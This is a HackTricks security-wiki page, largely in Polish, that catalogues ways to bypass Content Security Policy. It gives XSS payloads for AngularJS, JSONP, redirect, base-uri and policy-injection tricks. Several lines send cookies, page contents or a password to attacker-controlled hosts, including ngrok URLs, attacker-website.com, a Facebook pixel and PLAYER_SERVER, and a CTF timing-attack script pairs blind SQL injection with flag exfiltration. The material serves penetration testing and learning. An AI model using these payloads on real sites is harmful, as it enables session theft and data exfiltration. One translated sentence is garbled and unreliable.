.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
Content Security Policy (CSP) Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
What is CSP
Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu ochronę przed atakami takimi jak cross-site scripting (XSS). Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak eval
, setTimeout
lub setInterval
.
Wdrożenie CSP odbywa się poprzez nagłówki odpowiedzi lub poprzez włączenie elementów meta do strony HTML. Po zastosowaniu tej polityki, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
- Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Zaimplementowane za pomocą tagu meta:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Nagłówki
CSP może być egzekwowane lub monitorowane za pomocą tych nagłówków:
Content-Security-Policy
: Egzekwuje CSP; przeglądarka blokuje wszelkie naruszenia.Content-Security-Policy-Report-Only
: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych.
Definiowanie zasobów
CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej treści, kontrolując aspekty takie jak wykonywanie JavaScriptu w linii i użycie eval()
. Przykładowa polityka to:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Dyrektywy
- script-src: Zezwala na określone źródła dla JavaScript, w tym adresy URL, skrypty inline oraz skrypty wywoływane przez obsługiwacze zdarzeń lub arkusze stylów XSLT.
- default-src: Ustala domyślną politykę pobierania zasobów, gdy brak jest konkretnych dyrektyw pobierania.
- child-src: Określa dozwolone zasoby dla pracowników sieciowych i zawartości osadzonych ramek.
- connect-src: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
- frame-src: Ogranicza adresy URL dla ramek.
- frame-ancestors: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak
<frame>
,<iframe>
,<object>
,<embed>
, i<applet>
. - img-src: Definiuje dozwolone źródła dla obrazów.
- font-src: Określa ważne źródła dla czcionek ładowanych za pomocą
@font-face
. - manifest-src: Definiuje dozwolone źródła plików manifestu aplikacji.
- media-src: Definiuje dozwolone źródła do ładowania obiektów multimedialnych.
- object-src: Definiuje dozwolone źródła dla elementów
<object>
,<embed>
, i<applet>
. - base-uri: Określa dozwolone adresy URL do ładowania za pomocą elementów
<base>
. - form-action: Wymienia ważne punkty końcowe dla przesyłania formularzy.
- plugin-types: Ogranicza typy mime, które strona może wywołać.
- upgrade-insecure-requests: Instrukcja dla przeglądarek, aby przepisały adresy URL HTTP na HTTPS.
- sandbox: Stosuje ograniczenia podobne do atrybutu sandbox w
<iframe>
. - report-to: Określa grupę, do której zostanie wysłany raport, jeśli polityka zostanie naruszona.
- worker-src: Określa ważne źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
- prefetch-src: Określa ważne źródła dla zasobów, które będą pobierane lub wstępnie pobierane.
- navigate-to: Ogranicza adresy URL, do których dokument może nawigować wszelkimi środkami (a, formularz, window.location, window.open, itp.)
Źródła
*
: Zezwala na wszystkie adresy URL, z wyjątkiem tych z schematamidata:
,blob:
,filesystem:
.'self'
: Zezwala na ładowanie z tej samej domeny.'data'
: Zezwala na ładowanie zasobów za pomocą schematu danych (np. obrazy zakodowane w Base64).'none'
: Blokuje ładowanie z jakiegokolwiek źródła.'unsafe-eval'
: Zezwala na użycieeval()
i podobnych metod, niezalecane z powodów bezpieczeństwa.'unsafe-hashes'
: Umożliwia określone inline obsługiwacze zdarzeń.'unsafe-inline'
: Zezwala na użycie zasobów inline, takich jak inline<script>
lub<style>
, niezalecane z powodów bezpieczeństwa.'nonce'
: Lista dozwolonych dla określonych skryptów inline z użyciem kryptograficznego nonca (liczba używana raz).- Jeśli masz ograniczoną możliwość wykonania JS, możliwe jest uzyskanie używanego nonca wewnątrz strony za pomocą
doc.defaultView.top.document.querySelector("[nonce]")
i ponowne użycie go do załadowania złośliwego skryptu (jeśli użyto strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), jak w:
Załaduj skrypt ponownie używając nonca
```html ```'sha256-<hash>'
: Biała lista skryptów z określonym hashem sha256.'strict-dynamic'
: Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostało to dodane do białej listy za pomocą nonce lub hasha.'host'
: Określa konkretny host, taki jakexample.com
.https:
: Ogranicza adresy URL do tych, które używają HTTPS.blob:
: Pozwala na ładowanie zasobów z adresów URL Blob (np. adresy URL Blob utworzone za pomocą JavaScript).filesystem:
: Pozwala na ładowanie zasobów z systemu plików.'report-sample'
: Zawiera próbkę naruszającego kodu w raporcie o naruszeniu (przydatne do debugowania).'strict-origin'
: Podobne do 'self', ale zapewnia, że poziom bezpieczeństwa protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).'strict-origin-when-cross-origin'
: Wysyła pełne adresy URL podczas wykonywania żądań z tego samego źródła, ale wysyła tylko źródło, gdy żądanie jest między źródłami.'unsafe-allow-redirects'
: Pozwala na ładowanie zasobów, które natychmiast przekierują do innego zasobu. Nie jest zalecane, ponieważ osłabia bezpieczeństwo.
Niebezpieczne zasady CSP
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Working payload: "/><script>alert(1);</script>
self + 'unsafe-inline' za pomocą Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
{% hint style="danger" %} To nie działa, więcej informacji sprawdź to. {% endhint %}
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Działający ładunek:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Jeśli w jakiś sposób możesz sprawić, że dozwolony kod JS utworzy nowy tag skryptu w DOM z twoim kodem JS, ponieważ dozwolony skrypt go tworzy, nowy tag skryptu będzie mógł być wykonany.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Działający ładunek:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Brak object-src i default-src
{% hint style="danger" %} Wygląda na to, że to już nie działa {% endhint %}
Content-Security-Policy: script-src 'self' ;
Działające ładunki:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Przesyłanie plików + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Jeśli możesz przesłać plik JS, możesz obejść ten CSP:
Działający ładunek:
"/>'><script src="/uploads/picture.png.js"></script>
Jednakże, jest bardzo prawdopodobne, że serwer waliduje przesłany plik i pozwoli ci tylko na przesyłanie określonego typu plików.
Ponadto, nawet jeśli udałoby ci się przesłać kod JS wewnątrz pliku z rozszerzeniem akceptowanym przez serwer (jak: script.png), to nie wystarczy, ponieważ niektóre serwery, takie jak serwer apache, wybierają typ MIME pliku na podstawie rozszerzenia, a przeglądarki takie jak Chrome odrzucą wykonanie kodu Javascript wewnątrz czegoś, co powinno być obrazem. "Na szczęście", są błędy. Na przykład, z CTF dowiedziałem się, że Apache nie zna rozszerzenia .wave, dlatego nie serwuje go z typem MIME jak audio/*.
Stąd, jeśli znajdziesz XSS i przesyłanie plików, i uda ci się znaleźć błędnie zinterpretowane rozszerzenie, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesyłanego pliku, stwórz poliglot (przykłady poliglotów tutaj).
Form-action
Jeśli nie jest możliwe wstrzyknięcie JS, możesz spróbować wyeksfiltrować na przykład dane uwierzytelniające wstrzykując akcję formularza (i może oczekując, że menedżery haseł automatycznie wypełnią hasła). Możesz znaleźć przykład w tym raporcie. Zauważ również, że default-src
nie obejmuje akcji formularzy.
Third Party Endpoints + ('unsafe-eval')
{% hint style="warning" %}
Dla niektórych z poniższych ładunków unsafe-eval
nie jest nawet potrzebne.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Załaduj podatną wersję angular i wykonaj dowolny JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads using Angular + a library with functions that return the window
object (check out this post):
{% hint style="info" %}
Post pokazuje, że możesz załadować wszystkie biblioteki z cdn.cloudflare.com
(lub z dowolnego innego dozwolonego repozytorium JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić które funkcje z których bibliotek zwracają obiekt window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS z nazwy klasy:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Wykorzystywanie kodu JS google recaptcha
Zgodnie z tym opisem CTF możesz wykorzystać https://www.google.com/recaptcha/ wewnątrz CSP, aby wykonać dowolny kod JS, omijając CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Więcej ładunków z tego opisu:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
Wykorzystywanie www.google.com do otwartego przekierowania
Poniższy adres URL przekierowuje do example.com (z tutaj):
https://www.google.com/amp/s/example.com/
Abuse *.google.com/script.google.com
Możliwe jest wykorzystanie Google Apps Script do uzyskania informacji na stronie wewnątrz script.google.com. Jak to zrobiono w tym raporcie.
Zewnętrzne punkty końcowe + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Scenariusze takie jak ten, w którym script-src
jest ustawione na self
oraz na określoną domenę, która jest na liście dozwolonych, mogą być obejście za pomocą JSONP. Punkty końcowe JSONP pozwalają na niebezpieczne metody wywołań zwrotnych, co umożliwia atakującemu przeprowadzenie XSS, działający ładunek:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee zawiera gotowe do użycia punkty końcowe JSONP do obejścia CSP różnych stron internetowych.
Ta sama podatność wystąpi, jeśli zaufany punkt końcowy zawiera Open Redirect, ponieważ jeśli początkowy punkt końcowy jest zaufany, przekierowania są zaufane.
Nadużycia ze strony osób trzecich
Jak opisano w następującym poście, istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, które mogą być nadużywane do eksfiltracji danych lub wykonywania kodu JavaScript. Niektóre z tych osób trzecich to:
Podmiot | Dozwolona domena | Możliwości |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Jeśli znajdziesz którąkolwiek z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze osób trzecich i eksfiltrując dane do tej usługi lub wykonując kod.
Na przykład, jeśli znajdziesz następujące CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
or
Content-Security-Policy: connect-src www.facebook.com;
Powinieneś być w stanie wyeksportować dane, podobnie jak zawsze robiono to z Google Analytics/Google Tag Manager. W tym przypadku postępuj zgodnie z tymi ogólnymi krokami:
- Utwórz konto dewelopera Facebook tutaj.
- Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
- Przejdź do "Ustawienia -> Podstawowe" i zdobądź swój "App ID".
- Na docelowej stronie, z której chcesz wyeksportować dane, możesz wyeksportować dane, bezpośrednio używając gadżetu SDK Facebooka "fbq" poprzez "customEvent" i ładunek danych.
- Przejdź do swojego "Menedżera zdarzeń" aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- Wybierz zakładkę "Test Events", aby zobaczyć zdarzenia wysyłane przez "twoją" stronę internetową.
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając zdarzenie niestandardowe, jak to:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Jeśli chodzi o pozostałe siedem domen zewnętrznych określonych w poprzedniej tabeli, istnieje wiele innych sposobów, w jakie można je nadużyć. Odwołaj się do wcześniej postu na blogu w celu uzyskania dodatkowych wyjaśnień na temat innych nadużyć związanych z zewnętrznymi.
Bypass za pomocą RPO (Relative Path Overwrite)
Oprócz wspomnianego wcześniej przekierowania w celu obejścia ograniczeń ścieżki, istnieje inna technika zwana Relative Path Overwrite (RPO), która może być używana na niektórych serwerach.
Na przykład, jeśli CSP zezwala na ścieżkę https://example.com/scripts/react/
, można ją obejść w następujący sposób:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Przeglądarka ostatecznie załaduje https://example.com/scripts/angular/angular.js
.
Działa to, ponieważ dla przeglądarki ładujesz plik o nazwie ..%2fangular%2fangular.js
znajdujący się pod https://example.com/scripts/react/
, co jest zgodne z CSP.
∑, zdekodują to, skutecznie żądając https://example.com/scripts/react/../angular/angular.js
, co jest równoważne https://example.com/scripts/angular/angular.js
.
Poprzez wykorzystanie tej niespójności w interpretacji URL między przeglądarką a serwerem, zasady ścieżki mogą być obejście.
Rozwiązaniem jest nie traktowanie %2f
jako /
po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem, aby uniknąć tego problemu.
Przykład online: https://jsbin.com/werevijewa/edit?html,output
Wykonanie JS w Iframe
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
brak base-uri
Jeśli dyrektywa base-uri jest brakująca, możesz to wykorzystać do przeprowadzenia wstrzyknięcia wiszącego markup.
Ponadto, jeśli strona ładuje skrypt za pomocą ścieżki względnej (jak <script src="/js/app.js">
) używając Nonce, możesz wykorzystać tag base, aby załadować skrypt z twojego własnego serwera, osiągając XSS.
Jeśli podatna strona jest ładowana z httpS, użyj adresu httpS w base.
<base href="https://www.attacker.com/">
AngularJS events
Specyficzna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia, AngularJS dostarcza unikalny obiekt $event
, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Obiekt $event
może być wykorzystany do obejścia CSP. Co ważne, w Chrome, obiekt $event/event
posiada atrybut path
, zawierający tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, przy czym obiekt window
zawsze znajduje się na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
Kierując tę tablicę do filtra orderBy
, możliwe jest iterowanie po niej, wykorzystując element końcowy (obiekt window
) do wywołania globalnej funkcji, takiej jak alert()
. Poniższy fragment kodu ilustruje ten proces:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Ten fragment podkreśla użycie dyrektywy ng-focus
do wywołania zdarzenia, wykorzystując $event.path|orderBy
do manipulacji tablicą path
, oraz korzystając z obiektu window
do wykonania funkcji alert()
, ujawniając tym samym document.cookie
.
Znajdź inne obejścia Angular w https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS i dozwolona domena
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Polityka CSP, która zezwala na ładowanie skryptów z określonych domen w aplikacji Angular JS, może być obejściem poprzez wywołanie funkcji zwrotnych i niektóre podatne klasy. Dalsze informacje na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym repozytorium git.
Działające ładunki:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć tutaj (niektóre z nich zostały usunięte lub naprawione)
Ominięcie przez Przekierowanie
Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innego pochodzenia, które nie jest dozwolone, nadal zakończy się niepowodzeniem.
Jednakże, zgodnie z opisem w specyfikacji CSP 4.2.2.3. Ścieżki i Przekierowania, jeśli przekierowanie prowadzi do innej ścieżki, może obejść oryginalne ograniczenia.
Oto przykład:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Jeśli CSP jest ustawione na https://www.google.com/a/b/c/d
, ponieważ ścieżka jest brana pod uwagę, zarówno skrypty /test
, jak i /a/test
będą blokowane przez CSP.
Jednakże, ostateczne http://localhost:5555/301
będzie przekierowane po stronie serwera na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Ponieważ jest to przekierowanie, ścieżka nie jest brana pod uwagę, a skrypt może być załadowany, co omija ograniczenie ścieżki.
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest całkowicie określona, nadal będzie omijana.
Dlatego najlepszym rozwiązaniem jest upewnienie się, że strona internetowa nie ma żadnych luk w przekierowaniach oraz że nie ma domen, które mogą być wykorzystane w regułach CSP.
Ominięcie CSP z wiszącym znacznikiem
Przeczytaj jak tutaj.
'unsafe-inline'; img-src *; przez XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
oznacza, że możesz wykonać dowolny skrypt w kodzie (XSS może wykonać kod), a img-src *
oznacza, że możesz używać na stronie internetowej dowolnego obrazu z dowolnego źródła.
Możesz obejść ten CSP, eksfiltrując dane za pomocą obrazów (w tej sytuacji XSS nadużywa CSRF, gdzie strona dostępna dla bota zawiera SQLi, i wyciąga flagę za pomocą obrazu):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Możesz również nadużyć tej konfiguracji, aby załadować kod javascript wstawiony w obraz. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera. Możesz stworzyć specjalny obraz, przesłać go na Twittera i nadużyć "unsafe-inline", aby wykonać kod JS (jak w przypadku zwykłego XSS), który załaduje obraz, wyodrębni JS z niego i wykona go: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Z pracownikami serwisu
Funkcja importScripts
pracowników serwisu nie jest ograniczona przez CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Wstrzykiwanie polityki
Badania: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Jeśli parametr wysłany przez Ciebie jest wklejany wewnątrz deklaracji polityki, to możesz zmienić politykę w taki sposób, aby uczynić ją bezużyteczną. Możesz zezwolić na skrypt 'unsafe-inline' z dowolnym z tych obejść:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Ponieważ ta dyrektywa nadpisze istniejące dyrektywy script-src.
Możesz znaleźć przykład tutaj: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
W Edge jest to znacznie prostsze. Jeśli możesz dodać w CSP tylko to: ;_
Edge odrzuci całą politykę.
Przykład: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; przez XSS (iframe) - Atak czasowy
Zauważ brak dyrektywy 'unsafe-inline'
Tym razem możesz sprawić, że ofiara załaduje stronę pod twoją kontrolą przez XSS z <iframe
. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (CSRF). Nie możesz uzyskać dostępu do treści strony, ale jeśli w jakiś sposób możesz kontrolować czas, jaki strona potrzebuje na załadowanie, możesz wydobyć potrzebne informacje.
Tym razem flaga zostanie wydobyta, gdy znak zostanie poprawnie odgadnięty przez SQLi, odpowiedź zajmuje więcej czasu z powodu funkcji sleep. Następnie będziesz mógł wydobyć flagę:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
Via Bookmarklets
Ten atak wymagałby pewnego inżynierii społecznej, w której atakujący przekonuje użytkownika do przeciągnięcia i upuszczenia linku na zakładkę przeglądarki. Ta zakładka zawierałaby złośliwy kod javascript, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, omijając CSP i pozwalając na kradzież wrażliwych informacji takich jak ciasteczka lub tokeny.
Aby uzyskać więcej informacji, sprawdź oryginalny raport tutaj.
CSP bypass by restricting CSP
W tym opisie CTF, CSP jest omijany przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, które zabraniało ładowania konkretnego pliku JS, który następnie, poprzez zanieczyszczenie prototypu lub dom clobbering, pozwalał na wykorzystanie innego skryptu do załadowania dowolnego skryptu.
Możesz ograniczyć CSP iframe za pomocą atrybutu csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
W tym opisie CTF możliwe było poprzez wstrzykiwanie HTML ograniczenie bardziej CSP, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem vulnerability stała się wykonalna.
CSP można uczynić bardziej restrykcyjnym, używając tagów meta HTML, a skrypty inline można wyłączyć usuwając wejście, które pozwala na ich nonce oraz włączyć konkretny skrypt inline za pomocą sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
JS exfiltracja z Content-Security-Policy-Report-Only
Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem Content-Security-Policy-Report-Only
z wartością kontrolowaną przez ciebie (może z powodu CRLF), możesz skierować go na swój serwer, a jeśli owiniesz treść JS, którą chcesz wyeksfiltrować, w <script>
i ponieważ bardzo prawdopodobne, że unsafe-inline
nie jest dozwolone przez CSP, to wywoła błąd CSP i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana do serwera z Content-Security-Policy-Report-Only
.
Dla przykładu sprawdź ten opis CTF.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Leaking Information with CSP and Iframe
- Tworzy się
iframe
, który wskazuje na URL (nazwijmy gohttps://example.redirect.com
), który jest dozwolony przez CSP. - Ten URL następnie przekierowuje do tajnego URL (np.
https://usersecret.example2.com
), który jest niedozwolony przez CSP. - Słuchając zdarzenia
securitypolicyviolation
, można przechwycić właściwośćblockedURI
. Ta właściwość ujawnia domenę zablokowanego URI, wyciekając tajną domenę, do której początkowy URL przekierował.
Interesujące jest to, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w odniesieniu do CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu nieokreślonego zachowania.
